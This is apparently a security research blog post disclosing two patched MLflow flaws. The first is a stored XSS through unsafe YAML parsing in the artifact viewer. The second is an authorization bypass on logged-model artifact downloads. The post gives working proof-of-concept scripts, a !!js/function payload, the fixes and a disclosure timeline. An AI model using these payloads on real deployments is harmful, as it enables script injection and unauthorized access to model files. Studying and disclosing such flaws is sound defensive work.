Attacking MLflow: How ML Artifacts Become Attack Vectors

Artur - AFINE cybersecurity team member profile photo
Sławomir Zakrzewski
Apr 9, 2026
9
min read

MLflow is an open-source platform for managing the machine learning lifecycle. It stores artifacts — model weights, metrics, metadata — and lets users inspect them through a web UI. In shared deployments, artifacts uploaded by one user are routinely opened by others.

While auditing MLflow’s source code, I found two vulnerabilities: XSS in the artifact viewer and authorization bypass on logged-model artifact endpoints.

Part 1: Stored XSS via YAML Deserialization

How MLflow handles model artifacts

MLflow tracks experiments and stores artifacts produced during runs. One of those artifacts is the MLmodel file — a YAML document describing model metadata, flavor configuration, and input/output signature.

When a user navigates to a run’s artifact tab, the frontend fetches this file over HTTP and parses it client-side. The flow:

  1. Artifact gets uploaded during a run (via mlflow.log_text, mlflow.log_artifact, or the logging API).
  2. Backend stores it on disk (or whatever artifact store is configured).
  3. Frontend requests the artifact bytes through a REST endpoint.
  4. Client-side JavaScript parses the YAML and renders it.

The problem is between steps 3 and 4. The artifact content is entirely attacker-controlled, and the parser supports JavaScript type instantiation.

The vulnerable sink

The relevant code path lives in the component that renders logged model details.

fetchLoggedModelMetadata() {
    const MLModelArtifactPath = `${this.props.path}/${MLMODEL_FILE_NAME}`;
    const { getArtifact, path, runUuid, experimentId, entityTags } = this.props;

    fetchArtifactUnified(
      {
        path: MLModelArtifactPath,
        runUuid,
        experimentId,
        entityTags,
      },
      getArtifact,
    )
      .then((response: any) => {
        const parsedJson = yaml.load(response); // SINK
        if (parsedJson.signature) {
          const inputs = Array.isArray(parsedJson.signature.inputs)
            ? parsedJson.signature.inputs
            : JSON.parse(parsedJson.signature.inputs || '[]');

          const outputs = Array.isArray(parsedJson.signature.outputs)
            ? parsedJson.signature.outputs
            : JSON.parse(parsedJson.signature.outputs || '[]');

          this.setState({ inputs, outputs });
        }
        // ...
      });
  }

Three things combine here:

  • response is raw artifact text from the backend. No sanitization, no schema validation, no allowlisting of YAML types.
  • yaml.load() is the unsafe variant of js-yaml. Unlike yaml.safeLoad(), it supports tags like !!js/function, !!js/regexp, and !!js/undefined that allow arbitrary object and function instantiation during parsing. This is the JavaScript equivalent of Python's yaml.load() with Loader=Loader.
  • The parsed result flows into JSON.parse() calls on signature.inputs and signature.outputs. If an attacker crafts signature.inputs as an object with a malicious toString method (via !!js/function), JSON.parse() invokes toString() to coerce it to a string — triggering execution.

One-click trigger

MLflow’s routing supports deep-linking directly to a specific artifact path. The ArtifactPage component extracts the path from the URL:

const initialSelectedArtifactPathMatch = currentPathname.match(
  /\/(?:artifactPath|artifacts)\/(.+)/
);
const initialSelectedArtifactPath = initialSelectedArtifactPathMatch?.[1] || undefined;

So the full exploit URL:

http://mlflow-instance/#/experiments/<id>/runs/<run_id>/artifacts/logged_model

One click. Page loads, artifact is fetched, YAML gets parsed, JavaScript executes.

Exploit mechanism

The payload uses the !!js/function tag supported by js-yaml's unsafe load().

When yaml.load() encounters !!js/function, it constructs an actual JavaScript Function object from the provided source. The parsed result is no longer a plain data structure — it contains live executable objects.

The payload targets signature.inputs because of how the code handles it downstream:

const inputs = Array.isArray(parsedJson.signature.inputs)
  ? parsedJson.signature.inputs
  : JSON.parse(parsedJson.signature.inputs || '[]');

If parsedJson.signature.inputs is an object (not an array), the code falls through to JSON.parse(). JSON.parse() expects a string, so it calls toString() on the object. If toString is a !!js/function that runs alert(document.domain), that function fires.

Payload:

flavors:
  python_function:
    loader_module: mlflow.pyfunc.model
signature:
  inputs:
    toString: !!js/function >
      function () {
        alert(document.domain);
        return "[]";
      }
  outputs: "[]"

The return "[]" keeps JSON.parse() from throwing after execution.

Proof of Concept

The PoC uses MLflow’s Python client to log the malicious artifact. It creates a run, uploads the crafted MLmodel file, and sets the mlflow.log-model.history tag so the UI treats the artifact as a logged model — which triggers the vulnerable code path.

import mlflow
from datetime import datetime, timezone
import json

TRACKING_URI = "http://127.0.0.1:5000"

payload = """
flavors:
  python_function:
    loader_module: mlflow.pyfunc.model
signature:
  inputs:
    toString: !!js/function >
      function () {
        alert(document.domain);
        return "[]";
      }
  outputs: "[]"
"""

mlflow.set_tracking_uri(TRACKING_URI)

with mlflow.start_run() as run:
    mlflow.log_text(payload, "logged_model/MLmodel")

    mlflow.set_tag(
        "mlflow.log-model.history",
        json.dumps(
            [
                {
                    "artifact_path": "logged_model",
                    "flavors": {
                        "python_function": {
                            "loader_module": "mlflow.pyfunc.model"
                        }
                    },
                    "utc_time_created": datetime.now(timezone.utc).strftime(
                        "%Y-%m-%d %H:%M:%S.%f"
                    ),
                }
            ]
        ),
    )

print("Run created:", run.info.run_id)

The mlflow.log-model.history tag matters. Without it, the UI renders the artifact as a generic file using a different (safe) viewer. With it, ShowArtifactLoggedModelView kicks in and pulls the MLmodel file through the vulnerable yaml.load() path.

After running the script, MLflow creates a new run containing the malicious artifact.

Opening the run and navigating to the artifact viewer triggers parsing and execution of the payload.

Fix

The fix replaces yaml.load() with yaml.safeLoad(), which strips support for dangerous YAML tags and prevents construction of executable objects during deserialization.

A note on js-yaml versions: the project pins js-yaml at ^3.14.0 (resolved to 3.14.1). In js-yaml 4.x, load() was changed to be safe by default, with the unsafe behavior made opt-in. In 3.x, load() is still dangerous out of the box.

Inconsistent parser usage across the codebase

The interesting thing is that the safer variant is already used elsewhere in the same project.

In FetchUtils.ts:

export const yamlResponseParser = ({ resolve, response }: any) =>
  parseResponse({ resolve, response, parser: yaml.safeLoad });

In the model registry actions:

const parsedMlModelFile = yaml.safeLoad(mlModelFile);

But in the artifact viewer — the component that handles untrusted user-uploaded content — it’s yaml.load().

There’s also another load() call in useValidateLoggedModelSignature.ts (also fixed):

const yamlContent = (await lazyJsYaml()).load(await blob.text());

This pattern shows up regularly in large codebases. The safe variant exists, people use it in some places, but nothing enforces it consistently.

Part 2: Authorization Bypass on Logged-Model Artifacts

What caught my eye

MLflow’s tracking server has a basic-auth mode that enforces per-experiment permissions. You can assign users roles like READ, MANAGE, or NO_PERMISSIONS on individual experiments. The system checks these permissions before every API call through a Flask before_request hook.

I was mapping out the logged-model endpoints when I noticed something: the metadata endpoint and the artifact download endpoint are registered through completely different mechanisms. The metadata endpoint (GET /api/2.0/mlflow/logged-models/{model_id}) comes from a protobuf service definition. The artifact file endpoint (GET /ajax-api/2.0/mlflow/logged-models/<model_id>/artifacts/files) is a hand-written Flask route.

That split is where things get interesting, because MLflow’s auth layer builds its permission map primarily from protobuf definitions.

How the auth layer decides what to protect

The core of MLflow’s authorization lives in a function called _find_validator(). Before every request, it looks up the right permission check for the incoming path and HTTP method.

For logged-model routes, it works like this:

def _find_validator(req):
    if "/mlflow/logged-models" in req.path:
        return next(
            (v for (pat, method), v in LOGGED_MODEL_BEFORE_REQUEST_VALIDATORS.items()
             if pat.fullmatch(req.path) and method == req.method),
            None,
        )

It does a substring check first — if the path contains /mlflow/logged-models, it looks up the right validator from a regex map. That map is built automatically from protobuf definitions at module load time.

The key thing is what happens when _find_validator returns None. In a default-deny system, None would mean "block it." In MLflow's architecture, it means "let it through":

if validator := _find_validator(request):
    if not validator():
        return make_forbidden_response()
# no validator? no problem - request goes to the handler

So the question becomes: is the artifact endpoint in that regex map?

It’s not

The regex map LOGGED_MODEL_BEFORE_REQUEST_VALIDATORS is compiled from LOGGED_MODEL_BEFORE_REQUEST_HANDLERS, which lists the proto-derived request classes and their permission validators:

LOGGED_MODEL_BEFORE_REQUEST_HANDLERS = {
    CreateLoggedModel: validate_can_update_experiment,
    GetLoggedModel: validate_can_read_logged_model,
    DeleteLoggedModel: validate_can_delete_logged_model,
    FinalizeLoggedModel: validate_can_update_logged_model,
    DeleteLoggedModelTag: validate_can_delete_logged_model,
    SetLoggedModelTags: validate_can_update_logged_model,
    LogLoggedModelParamsRequest: validate_can_update_logged_model,
}

Seven operations. All proto-defined. The artifact file download is not a proto RPC — it’s a manual Flask route. So it doesn’t get a handler entry, doesn’t generate a regex pattern, and doesn’t exist as far as the auth layer is concerned.

When a request comes in for /ajax-api/2.0/mlflow/logged-models/m-abc123/artifacts/files, the substring check matches (it contains /mlflow/logged-models), the function enters the logged-model branch, none of the regex patterns match .../artifacts/files, and it returns None. The early return means it never even checks the other validator maps — it just gives up and says "I don't know this route."

And None means allow.

What about other artifact endpoints?

This is what convinced me it’s a bug and not a design choice. Every other artifact download endpoint in MLflow is explicitly protected:

  • GET_ARTIFACT (run artifacts) → validate_can_read_run_artifact
  • GET_MODEL_VERSION_ARTIFACTvalidate_can_read_model_version_artifact
  • GET_TRACE_ARTIFACTvalidate_can_read_trace_artifact

These are also manual Flask routes (not proto-defined), and they each have an explicit entry in the BEFORE_REQUEST_VALIDATORS map. The logged-model artifact endpoint is the only one without a corresponding entry.

I also noticed that ListLoggedModelArtifacts — the proto endpoint for listing artifact directories — is defined in service.proto but absent from LOGGED_MODEL_BEFORE_REQUEST_HANDLERS. So directory listing is similarly unprotected. Two gaps, same root cause.

How it happened

The Git history makes it clear. Two PRs, merged independently:

  • 2025–03–25PR #15097 adds the artifact file download endpoint. Changes mlflow/server/__init__.py and mlflow/server/handlers.py. The auth module is not touched.
  • 2025–04–24PR #15446 adds authorization validators for logged models. Creates LOGGED_MODEL_BEFORE_REQUEST_HANDLERS with seven proto operations. The manual Flask route from one month earlier is not included.

The endpoint was added by one commit, the auth coverage by another, a month apart. Since these changes were made independently, this likely led to the gap.

Proving it

I wrote a Python script that sets everything up and demonstrates the bypass in one run: creates an attacker user, creates an experiment as admin, sets NO_PERMISSIONS for the attacker, logs a model with artifacts, then tries to access everything as the attacker.

import os
import sys
import uuid
import requests
import mlflow

BASE = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:5000"

ADMIN_USER = "admin"
ADMIN_PASS = "password1234"

ATTACKER_USER = f"poc_{uuid.uuid4().hex[:6]}"
ATTACKER_PASS = "PocAttack123!"

def api(method, path, **kwargs):
    response = requests.request(
        method=method,
        url=f"{BASE}{path}",
        auth=(ADMIN_USER, ADMIN_PASS),
        headers={"Content-Type": "application/json"},
        **kwargs,
    )
    response.raise_for_status()
    return response

print(f"[*] Target: {BASE}\n")

api(
    "POST",
    "/api/2.0/mlflow/users/create",
    json={"username": ATTACKER_USER, "password": ATTACKER_PASS},
)

experiment_id = api(
    "POST",
    "/api/2.0/mlflow/experiments/create",
    json={"name": f"poc-{uuid.uuid4().hex[:6]}"},
).json()["experiment_id"]

api(
    "POST",
    "/api/2.0/mlflow/experiments/permissions/create",
    json={
        "experiment_id": experiment_id,
        "username": ATTACKER_USER,
        "permission": "NO_PERMISSIONS",
    },
)

os.environ["MLFLOW_TRACKING_USERNAME"] = ADMIN_USER
os.environ["MLFLOW_TRACKING_PASSWORD"] = ADMIN_PASS

mlflow.set_tracking_uri(BASE)

class Model(mlflow.pyfunc.PythonModel):
    def predict(self, context, model_input):
        return model_input

with mlflow.start_run(experiment_id=experiment_id):
    model_id = mlflow.pyfunc.log_model(
        name="poc",
        python_model=Model(),
    ).model_id

print(f"[*] model_id: {model_id}\n")

session = requests.Session()
session.auth = (ATTACKER_USER, ATTACKER_PASS)

metadata_response = session.get(
    f"{BASE}/api/2.0/mlflow/logged-models/{model_id}"
)

directories_response = session.get(
    f"{BASE}/api/2.0/mlflow/logged-models/{model_id}/artifacts/directories"
)

file_response = session.get(
    f"{BASE}/ajax-api/2.0/mlflow/logged-models/{model_id}/artifacts/files",
    params={"artifact_file_path": "MLmodel"},
)

print(f"[GET] Metadata      -> {metadata_response.status_code}")
print(f"[GET] Dir listing   -> {directories_response.status_code}")
print(f"[GET] File download -> {file_response.status_code}")

if metadata_response.status_code == 403 and (
    directories_response.status_code == 200 or file_response.status_code == 200
):
    print("\n[!] authorization bypass confirmed\n")

    if directories_response.status_code == 200:
        for item in directories_response.json().get("files", []):
            path = item.get("path", "")
            size = item.get("file_size", "")
            print(f"    {path:<30s} {size}")

    if file_response.status_code == 200:
        print("\n    --- MLmodel (first 10 lines) ---")
        for line in file_response.text.splitlines()[:10]:
            print(f"    {line}")

    sys.exit(1)

if metadata_response.status_code == 403:
    print("\n[-] Not vulnerable")
else:
    print("\n[?] Inconclusive")

sys.exit(0)

The attacker can’t see what the model is, but can download its files — including MLmodel (framework info, dependency versions, file structure), serialized model objects (python_model.pkl), environment specs (conda.yaml, requirements.txt), and any custom code artifacts.

Fix

I reported this via GitHub issue #21604. The maintainers responded with PR #21708, which addresses all three gaps:

Missing proto operation. ListLoggedModelArtifacts is added to the handler map:

LOGGED_MODEL_BEFORE_REQUEST_HANDLERS = {
    # ...
    ListLoggedModelArtifacts: validate_can_read_logged_model,
}

Missing manual Flask route. The artifact file download endpoint gets an explicit validator entry:

LOGGED_MODEL_BEFORE_REQUEST_VALIDATORS[
    (_re_compile_path(
        _get_ajax_path("/mlflow/logged-models/<model_id>/artifacts/files")
    ), "GET")
] = validate_can_read_logged_model

Static prefix handling. The original hardcoded path was replaced with _get_ajax_path(), which respects MLFLOW_STATIC_PREFIX. Without this, deployments behind a path prefix would still be vulnerable.

Broader context

These two findings are independent, but they reflect the same underlying dynamic. ML platforms handle artifacts that cross trust boundaries — uploaded by one user, rendered or served to another. The XSS shows what happens when the rendering side doesn’t treat artifact content as untrusted input. The auth bypass shows what happens when the serving side doesn’t enforce access control on every path.

ML infrastructure routinely parses YAML configs, deserializes Python objects with pickle, loads model weights from untrusted sources, and renders metadata in web UIs. Each of these operations is a potential entry point. Artifacts are not inert — they flow between users, teams, and environments through model registries, experiment trackers, and deployment pipelines. If they're parsed or rendered without strict validation, they become an attack surface like any other user input.

For the auth bypass specifically, the deeper issue remains: the default-allow architecture. Every new endpoint that doesn’t get an explicit validator entry is silently unprotected. A before_request hook that denies unknown routes by default — with an explicit allowlist for intentionally public endpoints — would prevent this entire class of bug.

That’s it for today. Thanks for reading.

Disclosure timeline

  • 2026-03-05 — XSS vulnerability reported to MLflow maintainers
  • 2026–03–06 — XSS patch reviewed and merged
  • 2026–03–11 — Authorization bypass reported to MLflow maintainers
  • 2026–03–23 — Authorization bypass patch merged
  • 2026–04–07 — CVE assigned
  • 2026–04–09— Public disclosure

References

FAQ

Questions enterprise security teams ask before partnering with AFINE for security assessments.

No items found.

Monthly Security Report

Subscribe to our Enterprise Security Report. Every month, we share what we're discovering in enterprise software, what vulnerabilities you should watch for, and the security trends we're seeing from our offensive security work.

By clicking Subscribe you're confirming that you agree with our Privacy Policy.
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.
Gradient glow background for call-to-action section